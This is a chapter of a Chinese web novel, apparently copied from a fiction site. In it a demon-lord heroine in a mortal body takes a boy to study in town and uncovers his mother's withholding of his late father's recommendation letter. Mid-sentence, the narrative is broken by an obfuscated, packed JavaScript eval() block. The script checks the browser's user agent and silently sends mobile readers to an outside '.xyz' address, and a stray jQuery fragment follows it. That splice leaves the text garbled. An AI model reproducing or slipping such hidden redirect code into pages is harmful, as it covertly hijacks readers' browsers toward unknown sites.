陈姝回到家把这个消息告诉陈家人,结果大家的脸色都不太好,陈瑰咬着筷子胆战心惊看向她。
“阿姐,你要把他卖了吗?”
“姝娘,谢小子在家无非是多添副碗筷的事,你、你可不能做那糊涂事啊。”
面对一桌紧张的人,陈姝沉默一瞬,玄音在她识海中发出嘲笑。
“魔君,这才多久,您的名声就差成这样了。”
陈姝啪的把筷子一丢,抬脚要踹谢廷楠那条坏腿,吓得他忙咽下嘴里的饭替她辩解。
“不是把我卖了,是……”
他指尖扣扣碗边,强压下喉间的哽咽:“我娘那天偷偷来给我送我父亲的遗物,是一封推荐书。”
“父亲的故交,推荐我去书院读书。”
“书院好啊,”陈阿娘说着摸摸儿子的头,眼里流露出期盼,“等小蛋长大了,也要送他去读书的。”
谢廷楠没吭声,躲在碗后面偷偷看了陈姝一眼,在得到她的一记白眼后,匆匆吃完回屋收拾东西。
陈姝看着他狼狈的身影,嗤笑一声,在脑中和玄音数落谢廷楠。
“他倒是会给他娘立好形象。”
“毕竟那些话他又没听见。”
“你说得对。”
玄音惊讶于她对自己的赞同,出于这些天对她的了解,他的心不敢轻易放下。
夜里,陈姝又一次敲开谢廷楠的窗,玄音悬着的心彻底死了。
“你那推荐信,愿不愿意让给别人?”
谢廷楠装包袱的动作停下,垂着头没看她:“那是我爹留给我的。”
“错,那是你爹留给你娘的。”
陈姝双肘搭在窗框上,伸手扒拉他摆在窗前的小花:“我去你家的时候,你娘正把它往土里埋呢。”
她还特意比划了下土堆的高度:“她压根就不想给你,要给那个陈、陈什么祖?”
“陈望祖。”
“嗯对,就是他,”陈姝好奇看他,“你是你爹原配的儿子吗?”
“姝娘!”谢廷楠手有些发抖,匆匆系上包袱丢到床尾,“我要睡了,你也早点休息吧。”
“哦,我还是想说……”
谢廷楠嗓音沙哑,看向她的眼睛红的像兔子:“姝娘!”
“在你娘眼里,你才是外人。”
陈姝非要说完这句,如愿看见他眼里冒出来的泪花,觉得可以与他做个交易。
“我可以让你娘只有你一个儿子,如何?”
不如何!这个主意馊透了。
玄音在她脑海里气得跳脚:“魔君大人你行行好吧,万一他受不了挫折去跳井怎么办。”
“不怎么办,”陈姝见他吹灭了灯,遗憾地往东屋走,“那只能说明你们找错人了,他当不了丞相。”
天道可以窥探凡人命数,他们眼中自以为漫长的一生,在神眼中不过短短一行字。
就像她,死里逃生无数次,才坐稳魔君的位置,回顾完自己的过去,陈姝睡前向玄音提出了自己的请求。
“我一个人,能不能代替他将来要受的所有苦难?”
玄音学她,冷笑一声:“那好缺德。”
提议被驳回,陈姝翻个身睡下,到第二天临行前,谢廷楠脸色依然难看,背着小包袱站在院子门口像是被遗弃的小可怜。
“姝娘,进了城要照顾好自己,别让自己受委屈。”
“娘给你塞了二两银子,你自己偷偷花。”
“你阿爹教书,能收些束脩,不用担心我们。”
陈姝被陈阿娘拉着,听她絮絮叨叨竟也没觉得烦躁,眼前的女人一边说一边掉眼泪,她抬手摸摸胸口,感觉到剧烈的跳动。
“玄音,这具身体是不是有心疾?”
“您非常健康。”玄音深吸口气,仗着她打不到自己,大着胆子反问。
“您不是很爱您的父母吗,为了尸骨能自爆毁世,这会儿的反应不就是舍不得和难过?怎么您还怀疑上自己有病了。”
陈姝静默一瞬,撩起眼皮看向后面跛脚的陈阿爹,她对陈阿爹的印象是这个人很聪明,聪明的劝住了陈阿娘对她变化产生的疑问,但也很单纯,竟然还把她当做陈家的女儿。
她错开视线,落到弟弟身上,这孩子很爱吃,却不任性。
陈姝想了想,伸手叫他过来,拉着陈瑰往院门外走:“我和他说两句话。”
“阿姐?”
“嗯,听着就行,别问。”陈姝从袖中摸出一个装得满当当的袋子,拽开陈瑰衣襟塞了进去,还顺手拍了拍。
“等我们走远了再交给阿爹和阿娘,告诉他们……”
她许久没说话,陈瑰等得着急,仰起头率先问出自己的问题:“阿姐你还回来吗?”
“回,”见谢廷楠也望过来,陈姝揪揪弟弟的发包:“告诉爹娘,等谢廷楠出息了,我就回来。”
“……”
“走了。”
村口的牛车晃晃悠悠前行,陈姝占了大半位置,谢廷楠只得紧紧挨着另一侧的婶子,一路上被问了许多话。
进城时,车轮碾过石子,惊醒了陈姝,恰巧让她听到婶子的最后一句话。
“谢小子进了城,可就能过好日子了。”
陈姝懒洋洋打了个哈欠,双手用力伸直:“谁说他是进城过好日子的,他是被我卖进城的。”
说完她比了个数字:“他长得漂亮,能卖二十两。”
她这话一出,婶子眼神立马变了,和谢廷楠之间的距离拉得很远,直到他们下车离开,都没有再和他们说过一句话。
耳边得了清静,陈姝心情不错地在小摊上买东买西,谢廷楠怀里的东西也越堆越多。
“姝娘,”憋了一路,终于在陈姝推门时,他开口了,“你、你不应当骗人的。”
“你认识她?”
谢廷楠点头:“从前我没饭吃,婶子偷偷给我塞过馒头。”
“哦,我也认识她,她问过人贩子,漂亮小男孩能卖多少银子。”
门内有动静,陈姝见到对方,把手里的东西放到桌上,指着西边的屋子让谢廷楠去放东西。
“她家可没有漂亮小男孩,那么谁家有呢?”
“多余的小男孩。”
“恩人,什么小男孩?”林玉抱着被子走出来,好奇地看向谢廷楠的屋子,“他是您弟弟吗?”
“是麻烦。”
陈姝视线扫过院子,林玉是个细心又有耐心的人,边边角角都收拾的很利索,靠墙的角落还被她收拾出一片菜园子来。
“你很厉害。”
就是武力上有点弱。
“玉娘,今天街上鱼便宜,我买了两条,”男人提着鱼进门,看见陈姝愣了一下,“这是你说的恩人?”
西屋的谢廷楠听见熟悉的声音,一出门与弯腰放东西的男人撞到一起,两人纷纷后退两步才抬起头来。
“谢兄?”
“陈郎君?”
陈姝的蜜饯拿在手里,大眼睛骨碌碌转了几圈,好奇地等着接下来要出现的八卦。
“你怎么、你……”
陈行山被鱼尾甩了一脸水,他直起腰身看看陈姝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252330|182023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又看看昔日同窗,脸上露出几分不理解。
“你这些年没有来书院读书,是去做童养夫了?!”
“我没有!”
谢廷楠听得人差点死过去,生怕陈姝生起气来又要杀人,跳起来扑过去捂陈行山的嘴。
他难得说话大声起来,陈姝靠在石桌上看热闹,不一会儿蜜饯就下去了小半袋,她咂咂嘴,准备起身寻水时,从谢廷楠口中听到了他娘。
“我阿娘供不起我读书,后来她带我改嫁,一直攒不下银两,就没再去书院读书。”
他模样激动,从脸到脖子都红得像晚霞,陈姝眉头微耸,嘴角的笑隐约带着嘲讽。
可对面的陈行山,比他还要激动,看着挺温和的一个人,生起气来也是手脚乱晃。
“不可能,你爹留了十几两银子给你,还有推荐信呢,我爹亲自写的!”
哦豁?
陈姝这会儿也不渴了,屁股一沉坐回石凳上,等着看大戏。
谢廷楠被他吼得呆住:“信、信在我包袱里。”
“谁问你信在哪了!我是问你当年有信,为什么不直接回来读书。”
“呵。”
陈姝一时失控笑出声,待到几人视线落到她身上,她才捂着嘴,但依旧能看清她笑弯的眉眼。
问她啊,她都知道,谢廷楠也知道,这下甚至由不得他不信了。
谢廷楠被笑得脸色陡变,他垂在身侧的手蜷起成拳,脸上的血色完全褪去。
“信……在我阿娘那里。”
“你!”
陈行山被气得说不出话,陈姝笑够了才起身,没有看脸色苍白的谢廷楠,转去水桶那里捞鱼。
“今天要做鱼吃吗?”
“炖汤可好?”
陈姝冲林玉撇嘴,觉得炖汤味淡,她余光瞥到木桩子似的谢廷楠,眼睛亮了一瞬。
“陈郎君书读得多些,见多识广,可还知道些鱼的其他做法?”
“这……”
陈行山生气归生气,但听到这话还是下意识看向好友,在他心里,方才谢廷楠的那段解释完全是遮掩。
他不相信会有人无条件地供人读书,还为他在县里租院子,但这会儿看着陈姝,他总觉得有几分眼熟,好像在哪见过。
林玉看出他的为难,接过话茬去挽陈姝的手臂:“陈郎从前听行军的人说过,可以掏空鱼肚子,架在火上烤。”
“让他们两个弄,我带你去街上玩玩。”
“等等,”陈行山喊住要出门的二人,神色复杂地开口,“你爹,是不是叫陈应书?”
陈姝眼皮一跳,皱眉看他:“他的腿你打瘸的?”
“?”
这都哪儿跟哪儿!
“你爹是我小叔!”
这下换陈姝呆住了,这个意思是,她大杀四方的日子还没开始,就又要遮遮掩掩了?
“也可以不是。”
最好完全不是。
她坚定的态度让陈行山有些茫然,以为是自己认错了,打算回家后问问他爹再认亲。
午膳后,林玉二人不再打扰,院子一下只剩下陈姝和谢廷楠,陈姝要睡觉,抱着晒好的被子刚滚到床上,就听见门口传来敲门声。
她眯起眼,逆着光看向门口,谢廷楠轻薄的衣衫被风吹起,少年的脸色也染上风里的暖意。
“阿姐,是我错怪你了。”
“嗯?”陈姝闭眼倒回床上,声音懒洋洋的。
“不用道歉,你只需要把我要的给我,至于其他的……”
“我不在乎。”